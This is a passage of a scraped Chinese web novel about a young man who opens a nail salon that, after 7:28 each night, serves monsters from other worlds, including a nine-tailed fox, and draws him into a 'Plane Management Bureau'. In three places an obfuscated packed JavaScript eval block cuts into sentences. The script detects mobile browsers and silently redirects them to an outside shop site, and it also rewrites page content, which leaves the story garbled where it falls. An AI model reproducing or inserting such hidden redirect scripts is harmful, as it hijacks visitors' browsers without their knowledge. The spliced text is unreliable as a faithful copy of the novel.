《怪物美甲店经营指南》 1. 清溪路19号 “听说你还在搞什么原创~” “搞来搞去好像也就这样~” 甜美女声从漏音的耳机里隐隐传出,很快被格子间工位里噼里啪啦的键盘敲击声覆盖。 大厂快节奏的写字楼里,每个人精神状态都像是背负血海深仇的东恩和品如,要么平静地发疯,要么像打了鸡血般发疯。 “Ctrl c+Ctrl v,找我干活吃大亏……” 宁知夏深呼吸,挂着两团黑眼圈,颤巍巍看了眼手机屏幕里来自领导的八九条六十秒语音,直接在OA提交了辞职流程。 格子间里抬起几个嗅觉灵敏的脑袋,瞅着正在清理电脑的青年窃窃私语。 “每年多少毕业生削尖脑袋想往这里钻,现在的年轻人一点也不懂珍惜机会。” “好好的工作给辞了,家里有金山银山养着不成?” 宁知夏沉默不语,别说,真的有。 此时正值寒冬腊月,繁华的街道车水马龙,行道树挂的红灯笼,在凉嗖嗖的冷风中摇晃明黄流苏。 离开公司后,宁知夏坐进便利店窗边的吧台椅,面色深沉地戳开各大招聘APP。 他在美院学的媒体设计,绩点名列前茅,也顺利进入大厂实习…… 然而短短几月,期待到幻灭一气呵成,有种沦为这座城市废旧养料的错觉。 宁知夏盯着屏幕眨了眨眼,落寞地耷拉脑袋,身体一歪,有气无力趴倒在桌面。 店员观察半晌,送上一杯免费热水,安慰道:“先生别难过,这段年头好工作确实难找。” “确实。” 宁知夏附和着点点头,望着对街沉思片刻,坐起身拨通了金……老父亲的电话。 * 三月后,余城。 位于清溪路19号的一幢小独栋房门大开,木色招牌印着笔法飘逸的字体。 “怪物美甲店?好吧,我以为你开玩笑呢,居然是来真的!” 发小惊诧的声音从开了免提的听筒传出。 宁知夏盲人摸象般在乱糟糟的桌面翻找美工刀,边找边说:“当然啦,我布置忙活三个月呢!” 发小:“能干,感觉怎么样?” 刀片咔啦滑出,宁知夏满脸愤愤:“装修的苦,铭心刻骨!” 发小喉头一哽:“……很抱歉没能与你同甘共苦。” 宁知夏的父母和平离婚后各自成家,前年搬去国外,他独立惯了又不想出国,好在双亲都懂他心思,说爷爷遗产里,在老家余城的小独栋是留给他的。 余城风景秀丽,生活节奏慢,是个宜居的好地方,只是一家人都搬走了,宁知夏在外地上大学后就没再回来。 政府重新规划过周围街区,清溪路虽不是主街,但将商圈与几个住宅区串在一起,两道樟树林遮天蔽日绿意盎然,许多人都会慢悠悠地沿着行人道逛过去。 这条街多是联排的小独栋商铺,开了不少咖啡馆面包店。 宁知夏的19号像是时光停驻般崭新精致,白墙绿门青黛瓦,连门头金边吊兰垂下的长度,都与小时候印象中一模一样。 发小听他描述不由嘎嘎笑:“友友,你这可是走的星露谷路线啊。” “唔,好像是哦。” 开业一周,钱赚得不多,家长里短的八卦倒是听了不少,比如他和她,她和她,她和他和她。 “那你要在余城待多久呀?” “说不准,可能就不走了。” “哇!真的吗!那我想回来看你!” “昂昂,随时欢迎。” 装修布置有双亲赞助,平常也没少转钱,宁知夏忙活完手里还有二十来万存款,够他这种没有人生追求的咸鱼躺平好一阵。 两人东拉西扯了半小时,直到新的快递送上门,宁知夏才念念不舍地挂断电话。 斑驳碎影在他面容晃动,宁知夏抬头,窗口被垂下摆动的吊兰挡了大半。 他伸手托起一条枝蔓,绿藤紧贴青年温热柔软的指腹,金边翠嫩的叶片颤动不停。 “有风吗?” 宁知夏奇怪地探头看了一眼屋外,丢开枝蔓嘟哝,“好像有点太长了,还是得剪剪。” 叶片的颤动戛然而止。 他转身去拿园艺剪刀,背后立马传来窸窸窣窣的动静。 等宁知夏再来到窗边,刚刚抖得像通电般的枝蔓,似乎被风吹得往上晃,安静地挂到屋檐。 窗口明亮的光线洒落头顶,宁知夏盯了这些绿植几秒,纳闷地放下剪刀,继续收拾。 在校时期他就跟着几位学姐玩过美甲,熟门熟路地订购了几套甲油胶,国产进口都有,不过有的贵妇品牌价格太贵,颜色又实在好看,宁知夏克制地挑了最实用的系列购买。 这次到货的甲油胶是一整套,商家送了色板,宁知夏看着还行,直接摆到了门口的胡桃木架。 费劲忙活之余,草叶窸窣作响,一道阴影投在脚边。 “喵呜——” 不知何时,窗台逆着光蹲了只大橘猫,歪头在木质棱角蹭蹭脑袋,慢腾腾地趴下身,揣起前爪悠闲地看人忙活。 宁知夏一回头,就看见了这块金黄大吐司。 他缓缓勾起唇角,像模像样地点评:“脑袋圆圆脖子粗,不是小猫是小猪。” 胖橘抖着胡须朝他哈气,宁知夏嬉皮笑脸,颠颠跑开。 “呼。” 胖橘甩了下尾巴,重新酝酿睡意。 消失在屏风后的青年重新探头:“嘿,小猪!” 胖橘:“……” 逗完常来光顾的流浪猫,宁知夏把快递箱拆成纸板叠成一摞。 这幢小独栋大概160平米,门口绿植葱郁清新,旧长椅堆满盆栽,垂落的花瓣刚好掉在小猫们软乎乎的毛肚皮。 一楼工作区和小客厅用屏风隔断,储物间旁边是厨房卫生间,所有家电都是宁母严选,嘱咐他留好各种保修单。 二楼有两个卧室,公共区域安置了布艺沙发和塞满漫画与谷子的书架。 宁知夏挺喜欢这幢屋子,小时候跟着爷爷来过几次,通常爷爷打扫一圈就走,他和发小两人在外面嗦冰棍玩石子,有时调皮扯了枝藤几片叶子,屁股还免不了挨上一扫帚。 收废品的大爷还没到,他不想客厅乱糟糟的,拎起纸板拧开储物间的门,微微泛潮的气味一时间充斥鼻尖。 这间屋子背光,就连湿度也比其他空间要高,奇怪的是墙壁却没有脱皮。 工人也找不出原因,保险起见,除了本就有的红酸枝柜子,别的什么家具也没放。 宁知夏把纸板和杂物堆到柜子旁,嘿咻跳坐在柜子上,踩着厚实的纸板往下压。 “吱呀——” 暗红的柜门在晃动中打开,里面的空间像是张黑洞洞的大嘴,吐了块砖头书出来。 之前有这玩意儿吗? 宁知夏捞起书,大抵是被重物压过,书页黏得很紧,封面模糊不清,只能隐约看清“怪物”两个字。 等他一翻动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13719029|144814||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,纸页却顺滑无比,像是重新装订过,最前面的几张纸还崭新白皙,印着警示般的红色字迹—— “第一,仔细辨别人鱼的谎言” “第二,别让人鱼对你产生好奇心” “第三,再冷漠的人鱼也改变不了重欲的本能” “嗯嗯嗯?” 宁知夏目光锁定到某个词汇,忽而肩头耸动,空荡荡的房间响起古怪笑声。 人鱼? 一听就腰力很强,岂不是超级打桩机! 宁知夏小脸通黄:^v^ 他往后又翻了几页,发黄陈旧的纸张模糊褪色,只能看见一些奇形怪状的生物。 “噫,什么带颜色的山海经……” 老辈子真是玩得花,宁知夏几下翻完,失了兴趣,把书又“哐当”一声,顺手丢回柜子。 下午有客人上门做了两单纯色,送走客人后,肚子叫个不停,宁知夏随便吃了碗锅贴外卖,把到货的一箱快递打开。 里面整齐码着两列白色小盒,每盒装的都是闪亮亮的施华洛世奇钻。 “我的乖乖哟……” 漂亮的事物总是能带来好心情,宁知夏挨个摸摸,每样取出一个做展示板。 墙壁圆盘时钟随着时间推移滴答作响,窗外暮色四合,像涌动的薄雾隔绝喧嚣街景,直至秒针“咔哒”一声,缓缓停滞。 飒然冷风攀上手背,宁知夏猝不及防打了个冷颤,抬头看钟,发现已经快七点半了。 看样子也不会再有客人,宁知夏关门,转身收拾桌面,忽而听到奇怪的沙沙声,像是布料摩擦在沙砾之上。 仿佛似有所感,他向侧对的窗户缝隙投去视线,一轮红纸伞在视野里一晃而过。 “咚咚。” “咚咚。” 很快,房门被人扣响。 宁知夏打开门,门外站着位貌美女人。 白发狐耳,金簪摇曳,穿古装衣裙的华服女人美眸流转:“我可以进来吗?” 宁知夏呆滞地眨眨眼。 哇塞,现在出委托的老师都好有礼貌哦! 宁知夏把门拉得更大,虽然不知道是哪个角色,但他乐颠颠地说:“老师请进!” 微妙的禁制随着话音瓦解,女人的神色有一瞬间意外,很快恢复自然,收起伞毫不费力地进入屋内。 宁知夏坐回椅子,冲她招招手:“这里这里!” 狐耳女人慢悠悠坐下,身后九根大尾巴像开花似的挤在背后,她有点别扭地动了动,余光瞥见青年偷瞄的小眼神,不由眯起眼,伸手探向他的心口—— “嚯!” 宁知夏一把攥住素白冰凉的手腕,垂下脑袋。 看着是个生嫩的初哥,竟是老练大胆的登徒子做派。 狐妖自嘲看走了眼,忽听青年感叹:“老师!你的手真漂亮!” “啊?啊……” 直白的夸奖让她微怔,“是吗……” “手指又细又长,甲床长度优秀弧度饱满,怎么留得有点长?不过也好,就算本甲也不需要光疗延长……”宁知夏笃定点头,“嗯,我头一次见到这么好看的手!” 诚挚的语气让狐妖心花怒放,暗想着不过是皮囊罢了,背后九根尾巴却悄然扭动,巴不得对方再多说几句。 “不过……” 就在狐妖有些飘飘然时,宁知夏话音一转,指着她鲜红的指甲,公事公办道,“卸甲得另外加钱哦!” 狐妖一愣,顺口答应:“好、好的。” 2. 华子之光 等等,什么? 卸甲? 他要拔我的指甲! 话音刚落,狐妖就咬住唇,像是不敢相信自己答应了什么。 妖灵最忌讳承诺,新的因果产生,她周身的力量被屋子里奇怪的规则暂时抽离。 这间店铺许久不曾出现在妖市,今夜撞见,本想来看看热闹,怎么就轻易着了道。 狐妖头顶耷着飞机耳,不爽地咬牙复盘,余光瞥向用青年,他正拿着陌生法器往她指甲招呼。 现在别说刨胸挖心,在卸甲完成前,连伤他一根头发都做不到。 狐妖越想越憋屈,对方浑然不知,眼睛弯弯地问:“老师你叫什么呀,我可以点个关注吗?” “苏秋水。” “老师你cn听着好有文化哦!”宁知夏夸夸,“来,换手。” 苏秋水听不懂,觉得像是好话。忌惮地朝他手里的法器瞅了一眼,默不作声地换了只手,配合地搭过去。 不就是指甲,想拔就拔,给他就是了。 狐妖思量之余,殊不知对面的青年也在琢磨自己的小心思。 宁知夏调慢了打磨机转速,轻轻修整过于锋利的指甲边缘,等毛刷扫开堆积的白色粉末,甲型已经改成了精致的长杏仁型。 向来流行的中长梯兼容度高,几乎百搭,不过她的甲床窄长,甲根圆润,修成杏仁甲更显韵味。 修磨的整个过程酥酥麻麻,倒是不疼,是从未接触的新奇感受。 发顶耷拉许久的耳朵缓缓立起来一只。 苏秋水忽而意识到,对方说的卸甲似乎是其他意思。 干净的甲面被刷上底胶,照灯后就是建构,也是考验美甲师技术的关键步骤。 宁知夏用平头刷取了坨胶珠,绕在甲面推匀后倒置流平,随后满意地拍拍桌面:“好了,照灯。” “照灯?照……”苏秋水回神,眼神乱扫,茫然地把手伸向青年示意的桌面下方。 等到另一只手做好建构,她已经不需要提醒,熟练地换手照灯。 双手前置做完,她好奇地盯着手瞧,没有红艳艳的花汁覆盖,虽是素雅本甲却更饱满透亮。 这叫什么来着? 哦!建构! 苏秋水尾巴晃晃,不确定地问:“好了吗?” “诶?秋水老师你不做款式吗?” 对方周身衣料首饰无一不精,假毛不知出自哪位毛娘大佬之手,简直就是天然妈生,更不用提活灵活现的尾巴耳朵有多费功夫。 这身装备,肯定花费不少! 宁知夏不想错过这位潜在的大客户,还打算等会儿请她拍点返图呢。 “老师你信我!” 他刷刷摆出价目表,立起平板,把大学时的作品翻得像是幻灯片,仰着小脸严肃道:“我很棒!我什么都能做!” 原来这就是款式啊! 苏秋水完全被勾起兴趣,眼珠子一转,麻溜地把双手搭过去:“你看着来!” “没问题。” 宁知夏懂了,哼哼,看小爷showtime! 美甲技法多变,也是其魅力与趣味所在,宁知夏挑了清透微粉与碧色打底晕染,待到纤纤十指晕满青山粉雾,刷了层磨砂胶再照灯……瞬间暗淡无光。 丑,好丑! 苏秋水垮起脸,不等她开口质问,又见他从工具盒里拿出小盒水彩。 这是要在我指甲上作画? 苏秋水倒是对丹青略通一二,眯起眼好奇指甲盖就这么点,能玩出什么花来? 水彩盒是买的分装,对于只用于美甲来说足够耐用。掺了水的颜料在调色板泅开,宁知夏用万能笔沾了点,提笔作画。 略有弹性的笔尖点按轻提,再刷亮面封层,盈盈粉荷跃然指尖。 苏秋水挑眉,抬手在灯下比划,美则美矣,就是看久了有点寡淡。 其实若想更凸显层次色彩,可以先用白色画出形态再来填色,呈现的效果却不是宁知夏想要与之搭配的清透感 毕竟,他的工序还没结束。 苏秋水撇了下嘴,盯着青年的胸膛,坏心思蠢蠢欲动:“完事了?” “没呢。”宁知夏显然已经上头,把亚克力盒翻得哗哗响,欢快道,“才到一半。” 苏秋水倏地瞪眼。 什么? 才到一半! 可是我屁股都麻了呀! 宁知夏拍拍桌面,苏秋水的手条件反射般搭过去,气闷地往屁股底下塞了两条尾巴垫垫。 万能笔被暂时丢开,宁知夏用硅胶笔挖了透明雕花胶,自个儿埋着脑袋安静地捏捏捏。 难以掌控的胶体在楔形笔头下变得听话乖顺,很快弄好了两大两小的透明冰荷。 有形还需点色,宁知夏眯着眼在灯下用色胶在花瓣由浅到深描摹晕染。 他没有用模具,捏的冰荷半开半合姿态灵动,不求形似但求神似,仿佛刚才落入指尖的画作从春水浮现而出。 苏秋水看得微微张嘴,愣神之际听宁知夏问:“我觉得差不多了,你看看还想要别的配饰吗?” “配饰?” 啊! 这个我懂! 工作台后的柜架可谓是塞满了家当,底层摆的小号展示牌按种类大小贴满了各种小玩意,清楚标注了名称规格,与旁边亚克力盒的格子逐一对应。 视线依次扫去,其中格外大的亚克力盒在暖色灯光下璀璨夺目,苏秋水的眼睛也跟着发光。 “这是我新到的华子钻,色号还算买得齐全……” 宁知夏把九层56格的透明大别墅齐刷刷拉开,歪头问,“你喜欢哪个?” 哪一个? 苏秋水翘起尾巴,目光灼灼。 还用问吗?当然是全部啦! 苏秋水豪迈挥手:“每样来一个!我要都贴上!” “贪多贪足……” 宁知夏委婉改口:“我是说,你只有十个手指头。” 苏秋水皱眉:“你就不能给我叠起来吗!” 宁知夏震惊:“我是美甲师不是建筑师!” “不管,我就要!” 宁知夏显然低估了这位女士对华子钻的热情,两人争执半天,苏秋水似乎要赶时间,才勉强妥协确定了方案。 左手中指以粉蔷薇月光方糖做主钻,在甲床末端倾斜固定,再用小冰荷填满缝隙。右手无名指用大冰荷与贵橄榄色的小号圆钻搭配。其余手指再单独点缀剩余冰荷和零碎小钻。 配饰虽多,不过主次分明错落有致,苏秋水的十指光华流转,她抬手看个不停,一时间竟舍不得移眼。 这就是美甲吗! 简直是……妙啊! 宁知夏见她神情满意,喜滋滋地拿出计算器,吧嗒吧嗒摁得摇头晃脑。 “复杂款一口价368,华子钻肥方40,独钻两颗30……哦还有三个小钻……总共450块。”宁知夏指了下贴着吧唧的二维码立牌架,“这边扫码付款就好。” “你叫什么名字?” 苏秋水随着他指的方向扫了一眼,慢悠悠站起身。 她顾不得快没有知觉的屁股,绕有兴致地看向这位店主,“我下次还来找你。” 回头客,是回头客! 宁知夏惊喜地报出名字。 “宁…知夏……”苏秋水笑得意味深长,“好,我记住了。” “嘿嘿,我名字挺好记的。”宁知夏掏出简易打光灯夹在手机上,捧着手机扭捏,“老师可不可以留个返……” “嗒。” 一声轻响,金步摇像供品般被人放在了二维码前,宁知夏错愕抬头,只见暗红衣摆悄然消失在门口。 “不是,秋、秋水老师——” 宁知夏立马蹿到门前,忽而脚步一刹,将门把手攥得死紧。 屋外森森绿光仿佛锁定到目标,在冰凉的白雾里逐渐亮起,越来越多,越来越密…… 宁知夏小脸唰的惨白,像个废旧生锈的小机器人,动作僵硬地关门。 诡异气氛中,他站在原地没动,头顶停滞在七点二十八分的秒针突然移动。 消失许久的走针声重新出现,与愈发急促的呼吸重合,宁知夏再开门,熟悉街景灯光明亮,喧嚣声如浪潮重新涌入耳中。 他眨了眨眼,余光瞄向工作台,金簪已经消失不见,电子音女声在安静的屋内响起—— “账户到账,24800元。” 如听仙乐耳暂明。 宁知夏怔立良久,摸着心口,仿佛浴霸照 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13719030|144814||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进棺材板。 唔,哈特暖暖。 分不清是都市异闻还是黄粱一梦,宁知夏在纠结中睡了一觉。 第二天醒来,窗外细雨如丝,整条街道都是翠岫葱茏的春意。 宁知夏拿着园艺剪去修剪花架里过长的枝叶,几个毛团从角落蹿出,咪咪叫着贴腿扭八字,一看就是肚子饿了来找免费保姆讨食。 “三条、五筒、八万,白板……等一会儿啊……” 宁知夏心里有事,躲开它们蹲下,默了片刻掏出手机。 本想再看看账户记录,屏幕先一步跳出美甲店在地瓜平台的新评论—— “宁老板擅长风格很多,审美在线,还夸我的甲型漂亮不用光疗延长嘻嘻!不枉我坐了一个多时辰!唯一的麻烦就是华子贴太多,掏心不太方便……” 默认头像,乱码用户名。 宁知夏看到末尾,像只炸毛的猫,倏地把手机拿远。 噫!什么叫掏心不方便! 几只小猫没心没肺,沿着青年背脊攀爬,领头的三花猫昂首挺胸,最先爬到肩膀,黑色发顶很快叠了个猫猫头。 “不应该啊,怎么就没了?” 宁知夏重新回到网银界面刷新,昨晚那笔到账信息却无影无踪,徒留明显增多的余额。 细查明细,居然是分散进了其他数笔收款中,简直就像冥冥之中有道规则,将它的存在变得合理化。 纳闷之际,三花猫小小地“咪”了一声,从宁知夏头顶跳落在地,鼻尖微微翕动在空气中轻嗅。 不知是闻见什么气味,圆眼顿时精光闪烁,扭着尾巴向庭院围栏跑去,迎头撞上一双长腿,呼噜噜甩了甩晕乎的脑袋。 樟树散开的枝杈盖住屋檐,斑驳碎影在伞面摇晃。 男人身量极高,混血感的相貌对眼睛相当友好,静立在一群舔嘴咕噜的小猫面前并未理会,只是垂着一双浅蓝双眼,望向宁知夏的方向,目光深幽而宁静。 我日,怎么长的啊? 下雨天还有模特似的客人上门,宁知夏脚麻起不来,只能仰头招呼:“你好,做吗?” 男人脚步一顿:“……?” 宁知夏亡羊补牢:“额、我是说美甲。” 男人摇头:“不做。” 宁知夏疑惑:“那你……” “我叫奥德罗。”他停在青年面前,“想请你和我去一个地方,有件棘手的事需要耽误你点时间。” 宁知夏指着自己:“我、我吗?”听起来好严肃的样子。 奥德罗认真地点头。 “具体说说?” “暂时不方便解释。” 宁知夏蹙眉,神情警惕地摇头拒绝:“那我不去。” “这样啊……” 奥德罗似是苦恼,将伞檐抬高,一双漂亮的眼睛像是要望进人心底,“刚才不算,再回答一次吧。” 宁知夏愣神。 不是兄弟,你当是玩攻略游戏读档回溯呢?! 然而就当他震惊之余,那双安静注视的眼睛颜色愈加浓郁,宁知夏觉得像是被吸入海面漩涡,仿佛有朦胧的歌声在脑中回荡,剧烈又奇异的心悸倏地传遍全身。 奥德罗放轻声音:“跟我走吗?” 拒绝的话在脑子里拐了个弯,宁知夏这次飞快道:“好呀!” 奥德罗心满意足地“嗯”了声,朝失神的青年俯身,背后及腰的银灰色长发滑动,几缕细碎发丝拂过对方眼神失焦的面容。 有点痒痒,宁知夏抿唇弯了弯唇角。 奥德罗目光探究,盯着对方脸颊出现的小窝。 比寻常人更加修长的手指触碰到脸颊,当软肉包裹指腹,与自身截然不同的温热触感蔓延指尖。 作恶的手指戳了一下, 再戳一下…… 宁知夏傻笑着没有闪躲,直到对方停下,用黑色的丝绸眼罩遮住所有光影,蓦然瑟缩一颤。 奥德罗:“怎么了?” “就是……” 宁知夏不自在地搅弄着外套拉链,压低声音哼唧,“我觉得这种play的话……进展有点太快呢。” “嗯?” 什么进展? 奥德罗神情迷惘,陷入沉思。 好奇怪的人类。 3. 位面管理局 奥德罗默了片刻,牵着他站起身,任凭青年发出各种嘿嘿嘻嘻的古怪笑声,都不再开口询问。 漆黑轿车停在店外车道,他打开后座车门,还未开口,宁知夏把眼罩掀开盖在头顶,丝滑地钻进去坐好。 他欢快地拍拍身边:“小奥来来,别客气!” “……” 奥德罗扶着车门静立不语,被反客为主的人衬得像个社恐。 “来呀来呀!” 随着青年越拱越近,宽大的手掌蓦地贴住了他肩膀,施力往里推推。 奥德罗将他眼罩拉下,安静地坐进去。 绿荫从窗外飞速退后,密闭车厢中,座椅的皮革气味让宁知夏耸了耸鼻子。 没有人再说话,宁知夏得不到回应,黑漆漆的视线让他觉得无聊,自个儿埋头玩起外套拉链。 金属扣“吱吱”拉高,下巴很有安全感地埋进立起的领口,然后再—— 拉下,拉上,拉下,拉…… 宁知夏浑身一颤。 嘎!夹到了肉。 他悲伤地揉搓下巴,随着他消磨时间的奇特方式,脑袋的晕眩逐渐消失…… “唔!” 傻兮兮的笑容从脸上完全褪去,宁知夏静默半分钟,忽而垂死病中惊坐起般直起身板,眼罩下的嘴巴错愕微张。 不是。 我怎么就上车了? 车辆安静得只有自己的呼吸声,宁知夏揉了揉发疼的下巴。 他站在道德至高点越想越气,满腔愤怒让他抖着嘴唇开口—— “你好,请问我们这是要去哪里呀?” 奥德罗略带疑惑,亲眼见证了青年清醒后,慌慌张张,毫无气势质问面前空气的全过程。 轿车在青年哔哔叭叭中驶入道路不平的地带。一个拐弯,宁知夏猝不及防,往别人腿上撑了一把。 隔着衣料的肌肉骤然紧绷,宁知夏只觉手心冰冰凉,就像骨子里都浸了寒意。 一只手本能般将他再次推开,宁知夏惊愕咂舌。 哇,超级老寒腿! 一路颠簸,车辆终于停下。 陌生的街道空无人烟,眼罩被人取走,宁知夏眯着眼适应许久,隔着车窗眼巴巴地望着已经下车的奥德罗。 对方走了几步,没有等待的意思,好像料定自己不会逃跑。 宁知夏余光瞥向驾驶位,扶着方向盘的司机身形壮硕,臂膀鼓起的肌肉快把衬衫撑破。 透过前视镜,四目相对。 逃跑有用但很可耻。 宁知夏默了下,果断选择开门下车,乖顺地跟在奥德罗身后。 整条大路平坦宽阔,两旁高矮不一的房屋空荡荡的不见人影,再远的景色只余下朦胧轮廓,就像游戏未实装的场景贴图。 “位面管理局……” 他们在一栋大楼前停下,宁知夏仰头看着门头牌匾,心中惶惶不安。 余城有这样的地方吗? 不等他开口,透明玻璃门自动拉开,奥德罗已经走了进去。 大厅中央是双跑道木质楼梯,半层后是面墙壁,通往二楼的左右两道摆了些绿植,看着与一些老单位的布置差不多。 奥德罗的脚步没有停下的意思,带着宁知夏继续往上走。 每过一层,摆设装潢皆是风格迥异,墙壁绘有壁画,或是荒芜疾奔的人马,或是诡秘浮礁的巨物,亦或是盘旋苍穹的魔龙…… 整栋楼像是储量丰富的博物馆,把五花八门的藏品囊括其中,进行分层展览。 宁知夏忍不住诚挚发问—— “这里为什么不装电梯?” 他没骨头似的趴在楼梯扶手,吐出舌头吁吁喘气,扭头看向身姿笔挺、毫无波澜的领路人。 奥德罗脚步一顿:“需要吗?” 宁知夏哼哼:“怎么不需要?科技改变生活,爬楼多费劲啊,上楼还能说锻炼身体,下楼不觉得很伤膝盖吗?” 奥德罗目光移向墙上窗口:“不觉得。” “行吧。” 身娇体弱,是我的错。 宁知夏唉声叹气地就地落坐,“那我歇歇。” 奥德罗注视他片刻,独自又上了半层,低眉敛目,平静地往墙面正中踹了一脚。 墙壁瞬间开始扭曲。 过了没几秒,他重新回到宁知夏面前,把人带了过来。 宁知夏惊喜:“这就是你们这儿的电梯?好隐蔽呀!” 钛银镜面不锈钢的金属门崭新锃亮,就是两扇门都贴着白色圆形贴纸有点丑,看着像没点睛的眼白。 “嗯。” 奥德罗拍了下镜面感的金属壁,“新装的。” “怪不得看着很新。” 宁知夏开心地进去,顺口建议,“把门上的白纸撕了吧,又丑又不吉利。” “……” 奥德罗沉默不语,像在思索什么,上行的电梯微不可察地抖动了下。 等到了目的楼层,金属门飞快打开,宁知夏刚迈腿出去,又哐当一声,重重地把门合拢。 这层楼的陈设干净简洁,放眼看去,狭长逼仄的走廊空荡无人,仅有尽头弧形窗打来的一束光,就像不知通往何处的隧道。 “这里。” 奥德罗停下脚步示意。 宁知夏抬头,长方形的门牌上写着“调查室”,隔着紧闭的房门,隐约听见嘈杂的说话声。 房门嘎吱打开,一道刺目的白光亮起,宁知夏抬手挡了一下,睁眼看过去。 屋内相当宽敞规整,几张浅木色的L型办公桌,造型奇特的电脑与人体工学椅,靠窗角落安置了沙发和长方形茶几。 更多的陈设是立着的六七排书柜,里面塞满了牛皮袋模样的卷宗文件。最顶层架子摆件丰富多样,从玉器古玩到枪支刀具,还有丝绒软垫上的一根……魔杖? 宁知夏默了下,这个单位的员工属性好复杂。 背对门口的华服女人言辞激烈,正与几个穿制服的人争论着什么,连头顶耳朵都抖动不停。 宁知夏:“秋水老师?!” 苏秋水闻声回头,面露惊喜:“宁老板!” 熟人的声音倍感亲切,宁知夏喉头哽咽,小跑过去与她执手相看泪眼。 宁知夏问:“你怎么在这儿?” 苏秋水叹息:“一言难尽……” 正当宁知夏有些疑惑时,其中一位年轻人放下文件,主动招呼:“原来你就是清溪路19号的新主人?你好,我叫陆槐。” 宁知夏局促地伸出手和他握了握:“你好你好……请问找我是有什么……” “局长好。” 陆槐目光扫向他身后,收敛神色,恭敬地点点头。 这人是局长头头? 宁知夏扭头,看向奥德罗一头打眼的银灰长发,心道你们单位还挺前卫。 但这不是关心的重点,他现在很想知道,究竟为什么要把自己带来这个奇怪地方。 奥德罗没有理会下属,径直在沙发坐下,犹豫几秒,抬手往旁边拍拍,然后看向宁知夏。 好、好眼熟的动作…… 宁知夏在陆槐惊诧的目光中,一屁股坐过去。 陆槐没有马上回答他未问完的问题,只是说道:“看样子,你对19号那栋屋子一无所知。” “不,我很清楚。” 宁知夏脸色忽然变得痛苦万分,“它是我亲力亲为重装三个月的祖宗……” 耳边嘟哝声不停,奥德罗似乎对青年的脑回路毫不意外,眼睛微微一弯。 陆槐心下了然,他果然…… 清楚个屁。 “宁先生,或许你觉得我接下来说的话听起来像天方夜谭,但请你务必相信,清溪路19号是具有特殊能力的屋子。” 陆槐的语气相当认真,宁知夏不知不觉挺直背脊,把手放在腿上。 照他所言,自己处于的世界是多元宇宙里的位面之一,与之连接的还有无数不同位面,清溪路19号便是这些位面之间少有的连接点。 按照这个世界的时间设定,每晚7点28分时间静止,店铺会关闭这个世界的通道,与此同时开启其他位面通道,大概能保持三小时左右,部分其他位面的居民能够感知进入。 宁知夏迷惘:“其他位面的……居民?” “比如——” 陆槐指向苏秋水,“她是103号妖灵世界的九尾狐妖。” 毛茸茸的九条大尾巴在她裙下摆动,苏秋水配合地扬起一条,用尾巴尖拍了拍青年的脑袋。 宁知夏忽然想起昨晚的怪异,心中突突直跳,可当柔软顺滑的尾巴毛贴上来时…… “嘿嘿。” 他快速捏了一把毛毛。 苏秋水:“你不害怕?” 宁知夏:“是这样的,我们这儿人均白毛控。” 陆槐见他们又聊上了,继续道:“位面管理局的职能,是为了保证这些位面的和谐稳定,你可以理解为天道,神明,或者别的你所接受的名词 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13719031|144814||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “那管理局由谁创造?” “更高的存在,我们叫祂主神。” 陆槐朝他身边看了一眼,补充道,“祂赋予了新任局长,也就是奥德罗先生统领管理局的权能。” 听见自己名字,奥德罗“嗯”了一声,随手拿过茶几的纸袋,窸窸窣窣地翻找东西。 听起来好像拥有了什么不得了的超能力。 宁知夏脑袋一团乱麻,就像被突然拎进了魔法学校的麻瓜,捂着心口说:“让我缓缓……” 陆槐善解人意:“你缓吧。” “唉。” 宁知夏垂着脑袋小声叹气,视线里突然伸来一只手。 奥德罗摊开手心,里面躺着一颗闪亮糖纸包裹的硬糖。 宁知夏呆滞一瞬。 奥德罗见他不动,像个没拧发条的木偶,手指往他脸颊戳了一下。 “吃糖?” 宁知夏反应过来:“噢噢,谢谢你。” 他剥开糖纸,把糖包嘴里咕噜噜转,含糊不清地问,“那你们找我来是做什么?” “昨夜,我存在的世界里多了几十具无心尸体。” 苏秋水轻飘飘的声音传了过来,“他们和皇城的驱邪师一样,要人家承受因果报应呢。” 宁知夏惊诧:“什么?” 苏秋水手里不知何时多了柄漆红烟杆,抱臂靠着墙懒散地吞云吐雾,似笑非笑道,“天雷滚滚吓人得很,我既感知天机,自然要在雷霆落下之前,杀上来问个明白。” 陆槐解释:“苏姑娘,在你来之前,负责103号位面的天道小组妄图擅断因果,已经被局长……” 众人缓缓看向奥德罗。 奥德罗:“冻了。” “哦……” 应该就是雪藏的意思吧。 宁知夏点点头,没有瞧见苏秋水僵愣片刻,瞥向身旁的忌惮眼神。 “九尾喜食人心,杀戮无数,曾数次引得103号位面动荡不安。” 